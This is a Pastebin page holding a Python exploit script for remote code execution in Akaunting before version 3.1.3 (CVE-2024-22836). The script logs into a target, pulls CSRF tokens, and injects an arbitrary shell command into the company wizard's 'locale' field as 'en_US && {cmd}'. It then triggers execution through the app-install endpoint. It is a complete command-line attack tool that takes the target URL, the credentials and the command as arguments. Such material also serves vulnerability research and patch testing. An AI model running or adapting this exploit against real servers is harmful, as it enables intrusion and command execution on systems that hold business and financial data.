Advertisement
FlyFar

Akaunting < 3.1.3 - RCE - CVE-2024-22836

Mar 10th, 2024
1,202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.90 KB | Cybersecurity | 0 0
  1. # Exploit Title: Akaunting < 3.1.3 - RCE
  2. # Date: 08/02/2024
  3. # Exploit Author: u32i@proton.me
  4. # Vendor Homepage: https://akaunting.com
  5. # Software Link: https://github.com/akaunting/akaunting
  6. # Version: <= 3.1.3
  7. # Tested on: Ubuntu (22.04)
  8. # CVE : CVE-2024-22836
  9.  
  10. #!/usr/bin/python3
  11.  
  12. import sys
  13. import re
  14. import requests
  15. import argparse
  16.  
  17. def get_company():
  18.     # print("[INF] Retrieving company id...")
  19.     res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
  20.     if res.status_code != 302:
  21.         print("[ERR] No company id was found!")
  22.         sys.exit(3)
  23.     cid = res.headers['Location'].split('/')[-1]
  24.     if cid == "login":
  25.         print("[ERR] Invalid session cookie!")
  26.         sys.exit(7)
  27.     return cid
  28.  
  29. def get_tokens(url):
  30.     res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
  31.     search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)
  32.  
  33.     if not search_res:
  34.         print("[ERR] Couldn't get csrf token")
  35.         sys.exit(1)
  36.  
  37.     data = {}
  38.     data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
  39.     data['session'] = res.cookies.get('akaunting_session')
  40.     return data
  41.  
  42. def inject_command(cmd):
  43.     url = f"{target}/{company_id}/wizard/companies"
  44.     tokens = get_tokens(url)
  45.     headers.update({"X-Csrf-Token": tokens['csrf_token']})
  46.     data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
  47.     res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
  48.     if res.status_code == 200:
  49.         res_data = res.json()
  50.         if res_data['error']:
  51.             print("[ERR] Command injection failed!")
  52.             sys.exit(4)
  53.         print("[INF] Command injected!")
  54.  
  55.  
  56. def trigger_rce(app, version = "1.0.0"):
  57.     print("[INF] Executing the command...")
  58.     url = f"{target}/{company_id}/apps/install"
  59.     data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
  60.     headers.update({"Content-Type":"application/json"})
  61.     res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
  62.     if res.status_code == 200:
  63.         res_data = res.json()
  64.         if res_data['error']:
  65.             search_res = re.search(r">Exit Code\:.*<", res_data['message'])
  66.             if search_res:
  67.                 print("[ERR] Failed to execute the command")
  68.                 sys.exit(6)
  69.             print("[ERR] Failed to install the app! no command was executed!")
  70.             sys.exit(5)
  71.         print("[INF] Executed successfully!")
  72.  
  73. def login(email, password):
  74.     url = f"{target}/auth/login"
  75.     tokens = get_tokens(url)
  76.  
  77.     cookies.update({
  78.         'akaunting_session': tokens['session']
  79.     })
  80.  
  81.     data = {
  82.         "_token": tokens['csrf_token'],
  83.         "_method": "POST",
  84.         "email": email,
  85.         "password": password
  86.     }
  87.    
  88.     req = requests.post(url, headers=headers, cookies=cookies, data=data)
  89.     res = req.json()
  90.     if res['error']:
  91.         print("[ERR] Failed to log in!")
  92.         sys.exit(8)
  93.  
  94.     print("[INF] Logged in")
  95.     cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})
  96.        
  97. def main():
  98.     inject_command(args.command)
  99.     trigger_rce(args.alias, args.version)
  100.  
  101. if __name__=='__main__':
  102.     parser = argparse.ArgumentParser()
  103.     parser.add_argument("-u", "--url", help="target url")
  104.     parser.add_argument("--email", help="user login email.")
  105.     parser.add_argument("--password", help="user login password.")
  106.     parser.add_argument("-i", "--id", type=int, help="company id (optional).")
  107.     parser.add_argument("-c", "--command", help="command to execute.")
  108.     parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
  109.     parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")
  110.  
  111.     args = parser.parse_args()
  112.    
  113.     headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
  114.     cookies = {}
  115.     target = args.url
  116.  
  117.     try:
  118.         login(args.email, args.password)
  119.         company_id = get_company() if not args.id else args.id
  120.         main()
  121.     except:
  122.         sys.exit(0)
  123.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement